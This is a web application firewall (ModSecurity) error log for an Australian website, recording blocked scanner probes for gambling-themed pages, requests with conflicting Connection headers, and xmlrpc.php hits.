[Sat May 23 16:49:27.200309 2026] [:error] [pid 30940:tid 30957] [client 147.135.252.177:47450] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "ahFqF5qUP2XZmzp7RDrw8AAAAAg"]
[Sat May 23 16:49:29.600401 2026] [:error] [pid 25876:tid 25883] [client 147.135.252.177:47476] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "ahFqGQSpWUCKPezIBJCIwAAAAQU"]
[Sat May 23 16:49:31.989470 2026] [:error] [pid 30942:tid 31013] [client 147.135.252.177:47508] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "ahFqG9Uosz64YFiBlG1Y0AAAAIo"]
[Sat May 23 16:49:34.406771 2026] [:error] [pid 25876:tid 25899] [client 147.135.252.177:44664] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "ahFqHgSpWUCKPezIBJCI0AAAARU"]
[Sat May 23 16:49:36.800274 2026] [:error] [pid 25876:tid 25889] [client 147.135.252.177:44680] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "ahFqIASpWUCKPezIBJCI0wAAAQs"]
[Sat May 23 16:49:39.184231 2026] [:error] [pid 30942:tid 31011] [client 147.135.252.177:44690] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "ahFqI9Uosz64YFiBlG1Y2wAAAIg"]
[Sat May 23 16:49:41.587917 2026] [:error] [pid 30942:tid 31021] [client 147.135.252.177:44694] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "ahFqJdUosz64YFiBlG1Y3wAAAJI"]
[Sat May 23 16:49:43.996490 2026] [:error] [pid 30941:tid 30977] [client 147.135.252.177:54530] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "ahFqJ3TIgjSDhiZmvlWjAgAAAEE"]
[Sat May 23 16:49:46.387198 2026] [:error] [pid 25876:tid 25888] [client 147.135.252.177:54544] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "ahFqKgSpWUCKPezIBJCI5gAAAQo"]
[Sat May 23 16:49:48.937015 2026] [:error] [pid 30942:tid 31003] [client 147.135.252.177:54558] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "ahFqLNUosz64YFiBlG1Y6AAAAIA"]
[Sat May 23 16:49:51.507298 2026] [:error] [pid 25876:tid 25883] [client 147.135.252.177:54564] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "ahFqLwSpWUCKPezIBJCI7QAAAQU"]
[Sat May 23 16:49:53.893075 2026] [:error] [pid 31039:tid 31049] [client 147.135.252.177:59066] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/royal%20slot.aspx"] [unique_id "ahFqMaIYDYo8WvA5zLIlAQAAAMg"]
[Sat May 23 16:49:56.316294 2026] [:error] [pid 31039:tid 31058] [client 147.135.252.177:59070] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sa%20casino.aspx"] [unique_id "ahFqNKIYDYo8WvA5zLIlEwAAANE"]
[Sat May 23 16:50:30.860455 2026] [:error] [pid 30942:tid 31013] [client 147.135.252.177:59072] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "ahFqVtUosz64YFiBlG1ZIQAAAIo"]
[Sat May 23 16:50:33.383167 2026] [:error] [pid 30942:tid 31005] [client 147.135.252.177:49498] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "ahFqWdUosz64YFiBlG1ZIwAAAII"]
[Sat May 23 16:50:35.898650 2026] [:error] [pid 30940:tid 30969] [client 147.135.252.177:49504] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "ahFqW5qUP2XZmzp7RDrxWwAAABQ"]
[Sat May 23 16:50:38.397395 2026] [:error] [pid 30940:tid 30967] [client 147.135.252.177:49510] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "ahFqXpqUP2XZmzp7RDrxZwAAABI"]
[Sat May 23 16:50:40.902932 2026] [:error] [pid 31039:tid 31064] [client 147.135.252.177:49518] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "ahFqYKIYDYo8WvA5zLIlagAAANc"]
[Sat May 23 16:50:43.405493 2026] [:error] [pid 31039:tid 31058] [client 147.135.252.177:47592] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "ahFqY6IYDYo8WvA5zLIldwAAANE"]
[Sat May 23 16:50:45.914139 2026] [:error] [pid 30942:tid 31011] [client 147.135.252.177:47600] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "ahFqZdUosz64YFiBlG1ZQQAAAIg"]
[Sat May 23 16:50:48.417514 2026] [:error] [pid 30942:tid 31016] [client 147.135.252.177:47616] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "ahFqaNUosz64YFiBlG1ZTQAAAI0"]
[Sat May 23 16:50:50.927701 2026] [:error] [pid 30942:tid 31025] [client 147.135.252.177:47632] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "ahFqatUosz64YFiBlG1ZVQAAAJY"]
[Sat May 23 16:50:53.411468 2026] [:error] [pid 25876:tid 25889] [client 147.135.252.177:48138] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "ahFqbQSpWUCKPezIBJCJdwAAAQs"]
[Sat May 23 16:50:55.921535 2026] [:error] [pid 30940:tid 30968] [client 147.135.252.177:48142] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "ahFqb5qUP2XZmzp7RDrxegAAABM"]
[Sat May 23 16:50:58.433154 2026] [:error] [pid 25876:tid 25883] [client 147.135.252.177:48148] [client 147.135.252.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "ahFqcgSpWUCKPezIBJCJhAAAAQU"]
[Sat May 23 18:07:03.684853 2026] [:error] [pid 25876:tid 25887] [client 43.164.131.148:49324] [client 43.164.131.148] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "ahF8RwSpWUCKPezIBJCZiQAAAQk"]
[Sat May 23 21:57:06.311829 2026] [:error] [pid 25876:tid 25898] [client 43.156.122.201:34154] [client 43.156.122.201] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "ahGyMgSpWUCKPezIBJC3qgAAARQ"]
[Sun May 24 00:27:15.788130 2026] [:error] [pid 44326:tid 44358] [client 43.164.3.182:57240] [client 43.164.3.182] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "ahHVY8yrPrcAqE-FOKLeQwAAAcM"]
[Sun May 24 02:49:40.860546 2026] [:error] [pid 44325:tid 44340] [client 122.51.236.174:52712] [client 122.51.236.174] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "ahH2xFgUQb4puB_2yV9xJgAAAYw"]
[Sun May 24 04:07:32.145816 2026] [:error] [pid 58797:tid 58810] [client 45.133.176.35:38241] [client 45.133.176.35] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.133.176.35, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "ahIJBPzoIKLVypLB5NgF9AAAAUo"]
[Sun May 24 04:07:43.520829 2026] [:error] [pid 50978:tid 50994] [client 45.133.176.33:49883] [client 45.133.176.33] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.133.176.33, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "ahIJDyu0qFnUKJJuyO5uGQAAAMk"]
[Sun May 24 04:07:49.461563 2026] [:error] [pid 50978:tid 50998] [client 45.133.176.23:35437] [client 45.133.176.23] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.133.176.23, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "ahIJFSu0qFnUKJJuyO5uIwAAAMs"]
[Sun May 24 04:08:27.140327 2026] [:error] [pid 50872:tid 50932] [client 45.133.176.19:56019] [client 45.133.176.19] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.133.176.19, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "ahIJO0bX_GQ5p_34ISZKMQAAAFM"]
[Sun May 24 05:40:06.108058 2026] [:error] [pid 50873:tid 50948] [client 43.166.128.187:60590] [client 43.166.128.187] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "ahIetulYxsqwDcWZbhLLFgAAAIg"]
[Sun May 24 06:05:26.230122 2026] [:error] [pid 58521:tid 58546] [client 88.88.156.124:41434] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/24th%20slot.aspx"] [unique_id "ahIkpmu03QVCX-cF2G_T3AAAARc"]
[Sun May 24 06:05:28.787050 2026] [:error] [pid 58521:tid 58545] [client 88.88.156.124:46388] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2xl%20slot.aspx"] [unique_id "ahIkqGu03QVCX-cF2G_T5QAAARY"]
[Sun May 24 06:05:31.374108 2026] [:error] [pid 50978:tid 51005] [client 88.88.156.124:46404] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/789%20slot.aspx"] [unique_id "ahIkqyu0qFnUKJJuyO6BkQAAANI"]
[Sun May 24 06:05:33.968898 2026] [:error] [pid 58918:tid 58925] [client 88.88.156.124:46408] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/888%20slot.aspx"] [unique_id "ahIkraT5tvv40jh4HYYKyQAAAYU"]
[Sun May 24 06:05:36.399374 2026] [:error] [pid 50873:tid 50964] [client 88.88.156.124:46410] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/all%20slot.aspx"] [unique_id "ahIksOlYxsqwDcWZbhLNgwAAAJg"]
[Sun May 24 06:05:38.982132 2026] [:error] [pid 50873:tid 50944] [client 88.88.156.124:46588] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/allslot%20wallet.aspx"] [unique_id "ahIksulYxsqwDcWZbhLNhgAAAIQ"]
[Sun May 24 06:05:41.412559 2026] [:error] [pid 50978:tid 50987] [client 88.88.156.124:46604] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/amb%20superslot.aspx"] [unique_id "ahIktSu0qFnUKJJuyO6BnAAAAMI"]
[Sun May 24 06:05:43.964900 2026] [:error] [pid 50871:tid 50905] [client 88.88.156.124:46616] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "ahIkt-cdOvA3ACH24lebsAAAABg"]
[Sun May 24 06:05:46.547048 2026] [:error] [pid 58797:tid 58812] [client 88.88.156.124:46622] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/auto%20slot.aspx"] [unique_id "ahIkuvzoIKLVypLB5NgmXgAAAUw"]
[Sun May 24 06:05:49.138075 2026] [:error] [pid 50872:tid 50926] [client 88.88.156.124:52084] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "ahIkvUbX_GQ5p_34ISZY8gAAAE0"]
[Sun May 24 06:05:51.710067 2026] [:error] [pid 58521:tid 58543] [client 88.88.156.124:52088] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20co.aspx"] [unique_id "ahIkv2u03QVCX-cF2G_T7wAAARQ"]
[Sun May 24 06:05:54.289644 2026] [:error] [pid 58918:tid 58920] [client 88.88.156.124:52090] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "ahIkwqT5tvv40jh4HYYK5AAAAYA"]
[Sun May 24 06:05:56.734560 2026] [:error] [pid 58918:tid 58926] [client 88.88.156.124:52098] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20original.aspx"] [unique_id "ahIkxKT5tvv40jh4HYYK5wAAAYY"]
[Sun May 24 06:05:59.344184 2026] [:error] [pid 58797:tid 58811] [client 88.88.156.124:33770] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "ahIkx_zoIKLVypLB5NgmZAAAAUs"]
[Sun May 24 06:06:01.941893 2026] [:error] [pid 50872:tid 50913] [client 88.88.156.124:33782] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "ahIkyUbX_GQ5p_34ISZY-QAAAEA"]
[Sun May 24 06:06:04.551996 2026] [:error] [pid 58521:tid 58530] [client 88.88.156.124:33792] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "ahIkzGu03QVCX-cF2G_T9AAAAQc"]
[Sun May 24 06:06:07.136453 2026] [:error] [pid 50978:tid 51011] [client 88.88.156.124:37424] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "ahIkzyu0qFnUKJJuyO6BrQAAANg"]
[Sun May 24 06:06:09.726441 2026] [:error] [pid 58521:tid 58538] [client 88.88.156.124:37428] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "ahIk0Wu03QVCX-cF2G_T9QAAAQ8"]
[Sun May 24 06:06:12.327712 2026] [:error] [pid 58918:tid 58921] [client 88.88.156.124:37436] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "ahIk1KT5tvv40jh4HYYK-wAAAYE"]
[Sun May 24 06:06:14.898722 2026] [:error] [pid 58797:tid 58816] [client 88.88.156.124:37440] [client 88.88.156.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "ahIk1vzoIKLVypLB5NgmcQAAAVA"]
